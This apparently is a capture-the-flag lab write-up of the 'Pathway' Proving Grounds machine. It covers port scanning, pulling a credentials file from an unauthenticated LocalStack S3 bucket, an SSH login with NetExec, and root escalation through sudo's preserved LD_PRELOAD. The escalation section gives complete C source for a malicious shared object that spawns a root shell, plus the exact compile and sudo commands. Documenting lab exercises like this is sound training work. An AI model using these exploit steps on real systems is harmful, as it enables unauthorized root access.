Skip to content

Pathway Writeup - Proving Grounds

Intermediate Linux

Created October 6, 2026 • Last updated October 6, 2026 • 3 min read

Pathway exposes a LocalStack instance on port 4566 that serves an S3-compatible API with no authentication. An open bucket named internal holds a users.json file with plaintext credentials, which log in over SSH as brian. From there, sudo -l shows env_keep+=LD_PRELOAD on a NOPASSWD binary, and a malicious shared object loaded through LD_PRELOAD runs its constructor as root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp   open  http      nginx 1.22.1
3089/tcp open  ptk-alink?
4566/tcp open  http      TwistedWeb 24.3.0
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Port 80 is a Bootstrap landing page with a login modal and no real backend. Port 3089 returns HTTP 400 on everything. Port 4566 is Python TwistedWeb 24.3.0, the port LocalStack uses for its S3-compatible object storage, so that is the target.

Whatweb

Fingerprint the web services.

┌──(kali㉿kali)-[~]
└─$ whatweb http://$TARGET_IP http://$TARGET_IP:4566
http://$TARGET_IP [200 OK] Bootstrap, Email[info@company.co], HTML5, HTTPServer[nginx/1.22.1], JQuery, PasswordField, Title[Chain App Dev]
http://$TARGET_IP:4566 [200 OK] Dreambox[24.3.0], HTTPServer[TwistedWeb/24.3.0], TwistedWeb[24.3.0]

Port 80 is the Chain App Dev site, and 4566 confirms TwistedWeb, the LocalStack S3 front end.

Directory discovery

Brute force directories on both HTTP ports.

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://$TARGET_IP -u http://$TARGET_IP:4566
# Port 80
[301] /assets  ->  http://$TARGET_IP/assets/

# Port 4566
[200] /internal
Explain command
-u Target URL to brute force, passed twice for both HTTP ports.

The /internal path on 4566 returns a 200. On a LocalStack S3 endpoint that is a bucket name.

Enumeration

S3 bucket listing

Browsing to the bucket on 4566 returns an S3 ListBucketResult for a bucket named internal, served with no authentication.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:4566/internal
<ListBucketResult>
  <Name>internal</Name>
  <Contents>
    <Key>users.json</Key>
    <Size>381</Size>
    <Owner><DisplayName>webfile</DisplayName></Owner>
  </Contents>
</ListBucketResult>

The bucket holds a single object, users.json. The login modal on port 80 was a dead end for SQL injection, so pull the object directly.

Exploitation

Credential extraction

Fetch the object from the open bucket.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:4566/internal/users.json

The file exposes plaintext credentials for two accounts.

  • brian (IT admin): $BRIAN_PASSWORD
  • huzaid (helpdesk): $HUZAID_PASSWORD

Foothold over SSH

Spray both credentials against SSH with NetExec.

┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u brian -p '$BRIAN_PASSWORD'
SSH  $TARGET_IP  22  [+] brian:$BRIAN_PASSWORD  Linux - Shell access!
Explain command
-u Username to authenticate with.
-p Password to authenticate with.

brian authenticates and NetExec confirms shell access. Log in over SSH for an interactive session.

Privilege Escalation

Check the sudo rights for brian.

┌──(kali㉿kali)-[~]
└─$ sudo -l
Matching Defaults entries for brian on pathway:
    env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=LD_PRELOAD

User brian may run the following commands on pathway:
    (ALL) NOPASSWD: /usr/bin/ping

env_keep+=LD_PRELOAD means sudo preserves the LD_PRELOAD environment variable. Any binary run through sudo loads a shared library of our choice before its own code executes, so the binary itself (ping) does not matter. A library constructor fires first. Compile a shared object whose _init() constructor drops into a root shell.

// shell.c
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");  // clean up to avoid recursion
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
┌──(kali㉿kali)-[~]
└─$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
┌──(kali㉿kali)-[~]
└─$ sudo LD_PRELOAD=./shell.so ping
root@pathway:/home/brian# id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-fPIC -shared Build position-independent shared object code.
-nostartfiles Skip the standard startup files so _init() becomes the entry point.
LD_PRELOAD=./shell.so Force the loader to pull in our library before running the binary.

The constructor runs under sudo as root before ping starts, giving a root shell.

References